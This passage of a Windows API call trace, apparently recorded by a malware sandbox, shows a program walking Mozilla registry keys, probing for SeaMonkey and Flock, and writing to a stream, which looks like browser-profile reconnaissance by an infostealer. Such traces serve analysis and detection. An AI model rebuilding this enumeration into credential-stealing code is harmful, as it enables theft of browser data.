(lpString="\\") returned 1 [0071.113] LocalAlloc (uFlags=0x40, uBytes=0xaf) returned 0x6474f8 [0071.113] lstrcpyA (in: lpString1=0x6474f8, lpString2="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)" [0071.113] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", lpString2="\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" [0071.113] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned 46 [0071.113] lstrlenA (lpString="Uninstall") returned 9 [0071.113] LocalAlloc (uFlags=0x40, uBytes=0xb8) returned 0x643aa8 [0071.113] lstrcpyA (in: lpString1=0x643aa8, lpString2="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" [0071.113] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\", lpString2="Uninstall" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall" [0071.113] LocalFree (hMem=0x6474f8) returned 0x0 [0071.113] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall", lpSrch="SeaMonkey") returned 0x0 [0071.113] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x649428 [0071.113] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall", phkResult=0x12fd28 | out: phkResult=0x12fd28*=0x138) returned 0x0 [0071.113] RegEnumKeyExA (in: hKey=0x138, dwIndex=0x0, lpName=0x649428, lpcchName=0x12fd20, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x12fd20, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0071.113] RegCloseKey (hKey=0x138) returned 0x0 [0071.113] LocalFree (hMem=0x649428) returned 0x0 [0071.113] LocalFree (hMem=0x643aa8) returned 0x0 [0071.113] RegEnumKeyExA (in: hKey=0x134, dwIndex=0x2, lpName=0x646ba0, lpcchName=0x12fd54, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Uninstall", lpcchName=0x12fd54, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0071.114] RegCloseKey (hKey=0x134) returned 0x0 [0071.114] LocalFree (hMem=0x646ba0) returned 0x0 [0071.114] LocalFree (hMem=0x647440) returned 0x0 [0071.114] RegEnumKeyExA (in: hKey=0x130, dwIndex=0x1, lpName=0x646318, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="25.0 (en-US)", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0071.114] RegCloseKey (hKey=0x130) returned 0x0 [0071.114] LocalFree (hMem=0x646318) returned 0x0 [0071.114] LocalFree (hMem=0x6292f8) returned 0x0 [0071.114] RegEnumKeyExA (in: hKey=0x150, dwIndex=0x3, lpName=0x645a90, lpcchName=0x12fdbc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Mozilla Firefox 25.0", lpcchName=0x12fdbc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0071.114] lstrlenA (lpString="Software\\Mozilla") returned 16 [0071.114] lstrlenA (lpString="\\") returned 1 [0071.114] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x65e350 [0071.114] lstrcpyA (in: lpString1=0x65e350, lpString2="Software\\Mozilla" | out: lpString1="Software\\Mozilla") returned="Software\\Mozilla" [0071.114] lstrcatA (in: lpString1="Software\\Mozilla", lpString2="\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0071.114] lstrlenA (lpString="Software\\Mozilla\\") returned 17 [0071.114] lstrlenA (lpString="Mozilla Firefox 25.0") returned 20 [0071.114] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x6292f8 [0071.114] lstrcpyA (in: lpString1=0x6292f8, lpString2="Software\\Mozilla\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0071.114] lstrcatA (in: lpString1="Software\\Mozilla\\", lpString2="Mozilla Firefox 25.0" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0") returned="Software\\Mozilla\\Mozilla Firefox 25.0" [0071.114] LocalFree (hMem=0x65e350) returned 0x0 [0071.114] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox 25.0", lpSrch="SeaMonkey") returned 0x0 [0071.114] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x646318 [0071.114] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0", phkResult=0x12fd90 | out: phkResult=0x12fd90*=0x130) returned 0x0 [0071.114] RegEnumKeyExA (in: hKey=0x130, dwIndex=0x0, lpName=0x646318, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="bin", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0071.114] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox 25.0") returned 37 [0071.114] lstrlenA (lpString="\\") returned 1 [0071.114] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x6293a8 [0071.114] lstrcpyA (in: lpString1=0x6293a8, lpString2="Software\\Mozilla\\Mozilla Firefox 25.0" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0") returned="Software\\Mozilla\\Mozilla Firefox 25.0" [0071.114] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0", lpString2="\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\" [0071.114] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned 38 [0071.114] lstrlenA (lpString="bin") returned 3 [0071.114] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x647440 [0071.114] lstrcpyA (in: lpString1=0x647440, lpString2="Software\\Mozilla\\Mozilla Firefox 25.0\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\" [0071.115] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\", lpString2="bin" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\bin") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\bin" [0071.115] LocalFree (hMem=0x6293a8) returned 0x0 [0071.115] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox 25.0\\bin", lpSrch="SeaMonkey") returned 0x0 [0071.115] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x646ba0 [0071.115] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0\\bin", phkResult=0x12fd5c | out: phkResult=0x12fd5c*=0x134) returned 0x0 [0071.115] RegEnumKeyExA (in: hKey=0x134, dwIndex=0x0, lpName=0x646ba0, lpcchName=0x12fd54, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x12fd54, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0071.115] RegCloseKey (hKey=0x134) returned 0x0 [0071.115] LocalFree (hMem=0x646ba0) returned 0x0 [0071.115] LocalFree (hMem=0x647440) returned 0x0 [0071.115] RegEnumKeyExA (in: hKey=0x130, dwIndex=0x1, lpName=0x646318, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="extensions", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0071.115] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox 25.0") returned 37 [0071.115] lstrlenA (lpString="\\") returned 1 [0071.115] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x6293a8 [0071.115] lstrcpyA (in: lpString1=0x6293a8, lpString2="Software\\Mozilla\\Mozilla Firefox 25.0" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0") returned="Software\\Mozilla\\Mozilla Firefox 25.0" [0071.115] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0", lpString2="\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\" [0071.115] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned 38 [0071.115] lstrlenA (lpString="extensions") returned 10 [0071.115] LocalAlloc (uFlags=0x40, uBytes=0xb1) returned 0x643aa8 [0071.115] lstrcpyA (in: lpString1=0x643aa8, lpString2="Software\\Mozilla\\Mozilla Firefox 25.0\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\" [0071.115] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\", lpString2="extensions" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions" [0071.115] LocalFree (hMem=0x6293a8) returned 0x0 [0071.115] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions", lpSrch="SeaMonkey") returned 0x0 [0071.115] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x646ba0 [0071.115] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions", phkResult=0x12fd5c | out: phkResult=0x12fd5c*=0x134) returned 0x0 [0071.115] RegEnumKeyExA (in: hKey=0x134, dwIndex=0x0, lpName=0x646ba0, lpcchName=0x12fd54, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x12fd54, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0071.115] RegCloseKey (hKey=0x134) returned 0x0 [0071.115] LocalFree (hMem=0x646ba0) returned 0x0 [0071.115] LocalFree (hMem=0x643aa8) returned 0x0 [0071.115] RegEnumKeyExA (in: hKey=0x130, dwIndex=0x2, lpName=0x646318, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="extensions", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0071.115] RegCloseKey (hKey=0x130) returned 0x0 [0071.115] LocalFree (hMem=0x646318) returned 0x0 [0071.115] LocalFree (hMem=0x6292f8) returned 0x0 [0071.115] RegEnumKeyExA (in: hKey=0x150, dwIndex=0x4, lpName=0x645a90, lpcchName=0x12fdbc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Mozilla Firefox 25.0", lpcchName=0x12fdbc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0071.115] RegCloseKey (hKey=0x150) returned 0x0 [0071.116] LocalFree (hMem=0x645a90) returned 0x0 [0071.116] SetCurrentDirectoryA (lpPathName="C:\\Users\\EEBsYm5\\Desktop" (normalized: "c:\\users\\eebsym5\\desktop")) returned 1 [0071.116] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0071.116] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0071.116] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fdcc*=0x10, cb=0x4, pcbWritten=0x12fda8 | out: pcbWritten=0x12fda8*=0x4) returned 0x0 [0071.116] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0071.116] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0071.116] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0071.116] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0071.116] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0071.116] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fda0 | out: pcbWritten=0x12fda0*=0x8) returned 0x0 [0071.116] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fdc8*=0x0, cb=0x4, pcbWritten=0x12fda4 | out: pcbWritten=0x12fda4*=0x4) returned 0x0 [0071.116] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fddc*=0x27, cb=0x2, pcbWritten=0x12fda0 | out: pcbWritten=0x12fda0*=0x2) returned 0x0 [0071.116] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fde0*=0x0, cb=0x2, pcbWritten=0x12fda0 | out: pcbWritten=0x12fda0*=0x2) returned 0x0 [0071.116] GetCurrentDirectoryA (in: nBufferLength=0x104, lpBuffer=0x12fde7 | out: lpBuffer="C:\\Users\\EEBsYm5\\Desktop") returned 0x18 [0071.116] StrStrIA (lpFirst="Software\\Mozilla", lpSrch="Flock") returned 0x0 [0071.116] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x645a90 [0071.116] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla", phkResult=0x12fdc4 | out: phkResult=0x12fdc4*=0x150) returned 0x0 [0071.116] RegEnumKeyExA (in: hKey=0x150, dwIndex=0x0, lpName=0x645a90, lpcchName=0x12fdbc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Firefox", lpcchName=0x12fdbc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0071.116] lstrlenA (lpString="Software\\Mozilla") returned 16 [0071.117] lstrlenA (lpString="\\") returned 1 [0071.117] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x65e350 [0071.117] lstrcpyA (in: lpString1=0x65e350, lpString2="Software\\Mozilla" | out: lpString1="Software\\Mozilla") returned="Software\\Mozilla" [0071.117] lstrcatA (in: lpString1="Software\\Mozilla", lpString2="\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0071.117] lstrlenA (lpString="Software\\Mozilla\\") returned 17 [0071.117] lstrlenA (lpString="Firefox") returned 7 [0071.117] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x641518 [0071.117] lstrcpyA (in: lpString1=0x641518, lpString2="Software\\Mozilla\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0071.117] lstrcatA (in: lpString1="Software\\Mozilla\\", lpString2="Firefox" | out: lpString1="Software\\Mozilla\\Firefox") returned="Software\\Mozilla\\Firefox" [0071.117] LocalFree (hMem=0x65e350) returned 0x0 [0071.117] StrStrIA (lpFirst="Software\\Mozilla\\Firefox", lpSrch="Flock") returned 0x0 [0071.117] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x646318 [0071.117] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox", phkResult=0x12fd90 | out: phkResult=0x12fd90*=0x130) returned 0x0 [0071.117] RegEnumKeyExA (in: hKey=0x130, dwIndex=0x0, lpName=0x646318, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Crash Reporter", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0071.117] lstrlenA (lpString="Software\\Mozilla\\Firefox") returned 24 [0071.117] lstrlenA (lpString="\\") returned 1 [0071.117] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x6415c0 [0071.117] lstrcpyA (in: lpString1=0x6415c0, lpString2="Software\\Mozilla\\Firefox" | out: lpString1="Software\\Mozilla\\Firefox") returned="Software\\Mozilla\\Firefox" [0071.117] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox", lpString2="\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0071.117] lstrlenA (lpString="Software\\Mozilla\\Firefox\\") returned 25 [0071.117] lstrlenA (lpString="Crash Reporter") returned 14 [0071.117] LocalAlloc (uFlags=0x40, uBytes=0xa8) returned 0x6292f8 [0071.117] lstrcpyA (in: lpString1=0x6292f8, lpString2="Software\\Mozilla\\Firefox\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0071.117] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox\\", lpString2="Crash Reporter" | out: lpString1="Software\\Mozilla\\Firefox\\Crash Reporter") returned="Software\\Mozilla\\Firefox\\Crash Reporter" [0071.117] LocalFree (hMem=0x6415c0) returned 0x0 [0071.117] StrStrIA (lpFirst="Software\\Mozilla\\Firefox\\Crash Reporter", lpSrch="Flock") returned 0x0 [0071.117] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x646ba0 [0071.117] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox\\Crash Reporter", phkResult=0x12fd5c | out: phkResult=0x12fd5c*=0x134) returned 0x0 [0071.117] RegEnumKeyExA (in: hKey=0x134, dwIndex=0x0, lpName=0x646ba0, lpcchName=0x12fd54, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x12fd54, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0071.117] RegCloseKey (hKey=0x134) returned 0x0 [0071.117] LocalFree (hMem=0x646ba0) returned 0x0 [0071.117] LocalFree (hMem=0x6292f8) returned 0x0 [0071.117] RegEnumKeyExA (in: hKey=0x130, dwIndex=0x1, lpName=0x646318, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="TaskBarIDs", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0071.117] lstrlenA (lpString="Software\\Mozilla\\Firefox") returned 24 [0071.117] lstrlenA (lpString="\\") returned 1 [0071.117] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x6415c0 [0071.117] lstrcpyA (in: lpString1=0x6415c0, lpString2="Software\\Mozilla\\Firefox" | out: lpString1="Software\\Mozilla\\Firefox") returned="Software\\Mozilla\\Firefox" [0071.117] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox", lpString2="\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0071.117] lstrlenA (lpString="Software\\Mozilla\\Firefox\\") returned 25 [0071.117] lstrlenA (lpString="TaskBarIDs") returned 10 [0071.117] LocalAlloc (uFlags=0x40, uBytes=0xa4) returned 0x6292f8 [0071.117] lstrcpyA (in: lpString1=0x6292f8, lpString2="Software\\Mozilla\\Firefox\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0071.118] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox\\", lpString2="TaskBarIDs" | out: lpString1="Software\\Mozilla\\Firefox\\TaskBarIDs") returned="Software\\Mozilla\\Firefox\\TaskBarIDs" [0071.118] LocalFree (hMem=0x6415c0) returned 0x0 [0071.118] StrStrIA (lpFirst="Software\\Mozilla\\Firefox\\TaskBarIDs", lpSrch="Flock") returned 0x0 [0071.118] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x646ba0 [0071.118] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox\\TaskBarIDs", phkResult=0x12fd5c | out: phkResult=0x12fd5c*=0x134) returned 0x0 [0071.118] RegEnumKeyExA (in: hKey=0x134, dwIndex=0x0, lpName=0x646ba0, lpcchName=0x12fd54, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x12fd54, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0071.118] RegCloseKey (hKey=0x134) returned 0x0 [0071.118] LocalFree (hMem=0x646ba0) returned 0x0 [0071.118] LocalFree (hMem=0x6292f8) returned 0x0 [0071.118] RegEnumKeyExA (in: hKey=0x130, dwIndex=0x2, lpName=0x646318, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="TaskBarIDs", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0071.118] RegCloseKey (hKey=0x130) returned 0x0 [0071.118] LocalFree (hMem=0x646318) returned 0x0 [0071.118] LocalFree (hMem=0x641518) returned 0x0 [0071.118] RegEnumKeyExA (in: hKey=0x150, dwIndex=0x1, lpName=0x645a90, lpcchName=0x12fdbc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Firefox", lpcchName=0x12fdbc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0071.118] RegCloseKey (hKey=0x150) returned 0x0 [0071.118] LocalFree (hMem=0x645a90) returned 0x0 [0071.118] StrStrIA (lpFirst="Software\\Mozilla", lpSrch="Flock") returned 0x0 [0071.118] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x645a90 [0071.118] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla", phkResult=0x12fdc4 | out: phkResult=0x12fdc4*=0x150) returned 0x0 [0071.118] RegEnumKeyExA (in: hKey=0x150, dwIndex=0x0, lpName=0x645a90, lpcchName=0x12fdbc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Firefox", lpcchName=0x12fdbc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0071.118] lstrlenA (lpString="Software\\Mozilla") returned 16 [0071.118] lstrlenA (lpString="\\") returned 1 [0071.118] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x65e350 [0071.118] lstrcpyA (in: lpString1=0x65e350, lpString2="Software\\Mozilla" | out: lpString1="Software\\Mozilla") returned="Software\\Mozilla" [0071.118] lstrcatA (in: lpString1="Software\\Mozilla", lpString2="\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0071.118] lstrlenA (lpString="Software\\Mozilla\\") returned 17 [0071.118] lstrlenA (lpString="Firefox") returned 7 [0071.118] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x641518 [0071.118] lstrcpyA (in: lpString1=0x641518, lpString2="Software\\Mozilla\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0071.118] lstrcatA (in: lpString1="Software\\Mozilla\\", lpString2="Firefox" | out: lpString1="Software\\Mozilla\\Firefox") returned="Software\\Mozilla\\Firefox" [0071.118] LocalFree (hMem=0x65e350) returned 0x0 [0071.118] StrStrIA (lpFirst="Software\\Mozilla\\Firefox", lpSrch="Flock") returned 0x0 [0071.118] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x646318 [0071.118] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Firefox", phkResult=0x12fd90 | out: phkResult=0x12fd90*=0x130) returned 0x0 [0071.118] RegEnumKeyExA (in: hKey=0x130, dwIndex=0x0, lpName=0x646318, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="TaskBarIDs", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0071.118] lstrlenA (lpString="Software\\Mozilla\\Firefox") returned 24 [0071.118] lstrlenA (lpString="\\") returned 1 [0071.118] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x6415c0 [0071.118] lstrcpyA (in: lpString1=0x6415c0, lpString2="Software\\Mozilla\\Firefox" | out: lpString1="Software\\Mozilla\\Firefox") returned="Software\\Mozilla\\Firefox" [0071.118] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox", lpString2="\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0071.119] lstrlenA (lpString="Software\\Mozilla\\Firefox\\") returned 25 [0071.119] lstrlenA (lpString="TaskBarIDs") returned 10 [0071.119] LocalAlloc (uFlags=0x40, uBytes=0xa4) returned 0x6292f8 [0071.119] lstrcpyA (in: lpString1=0x6292f8, lpString2="Software\\Mozilla\\Firefox\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0071.119] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox\\", lpString2="TaskBarIDs" | out: lpString1="Software\\Mozilla\\Firefox\\TaskBarIDs") returned="Software\\Mozilla\\Firefox\\TaskBarIDs" [0071.119] LocalFree (hMem=0x6415c0) returned 0x0 [0071.119] StrStrIA (lpFirst="Software\\Mozilla\\Firefox\\TaskBarIDs", lpSrch="Flock") returned 0x0 [0071.119] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x646ba0 [0071.119] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Firefox\\TaskBarIDs", phkResult=0x12fd5c | out: phkResult=0x12fd5c*=0x134) returned 0x0 [0071.119] RegEnumKeyExA (in: hKey=0x134, dwIndex=0x0, lpName=0x646ba0, lpcchName=0x12fd54, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x12fd54, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0071.119] RegCloseKey (hKey=0x134) returned 0x0 [0071.119] LocalFree (hMem=0x646ba0) returned 0x0 [0071.119] LocalFree (hMem=0x6292f8) returned 0x0 [0071.119] RegEnumKeyExA (in: hKey=0x130, dwIndex=0x1, lpName=0x646318, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="TaskBarIDs", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0071.119] RegCloseKey (hKey=0x130) returned 0x0 [0071.119] LocalFree (hMem=0x646318) returned 0x0 [0071.119] LocalFree (hMem=0x641518) returned 0x0 [0071.119] RegEnumKeyExA (in: hKey=0x150, dwIndex=0x1, lpName=0x645a90, lpcchName=0x12fdbc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="MaintenanceService", lpcchName=0x12fdbc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0071.119] lstrlenA (lpString="Software\\Mozilla") returned 16 [0071.119] lstrlenA (lpString="\\") returned 1 [0071.119] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x65e350 [0071.119] lstrcpyA (in: lpString1=0x65e350, lpString2="Software\\Mozilla" | out: lpString1="Software\\Mozilla") returned="Software\\Mozilla" [0071.119] lstrcatA (in: lpString1="Software\\Mozilla", lpString2="\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0071.119] lstrlenA (lpString="Software\\Mozilla\\") returned 17 [0071.119] lstrlenA (lpString="MaintenanceService") returned 18 [0071.119] LocalAlloc (uFlags=0x40, uBytes=0xa4) returned 0x6292f8 [0071.119] lstrcpyA (in: lpString1=0x6292f8, lpString2="Software\\Mozilla\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0071.119] lstrcatA (in: lpString1="Software\\Mozilla\\", lpString2="MaintenanceService" | out: lpString1="Software\\Mozilla\\MaintenanceService") returned="Software\\Mozilla\\MaintenanceService" [0071.119] LocalFree (hMem=0x65e350) returned 0x0 [0071.119] StrStrIA (lpFirst="Software\\Mozilla\\MaintenanceService", lpSrch="Flock") returned 0x0 [0071.119] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x646318 [0071.119] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\MaintenanceService", phkResult=0x12fd90 | out: phkResult=0x12fd90*=0x130) returned 0x0 [0071.119] RegEnumKeyExA (in: hKey=0x130, dwIndex=0x0, lpName=0x646318, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | 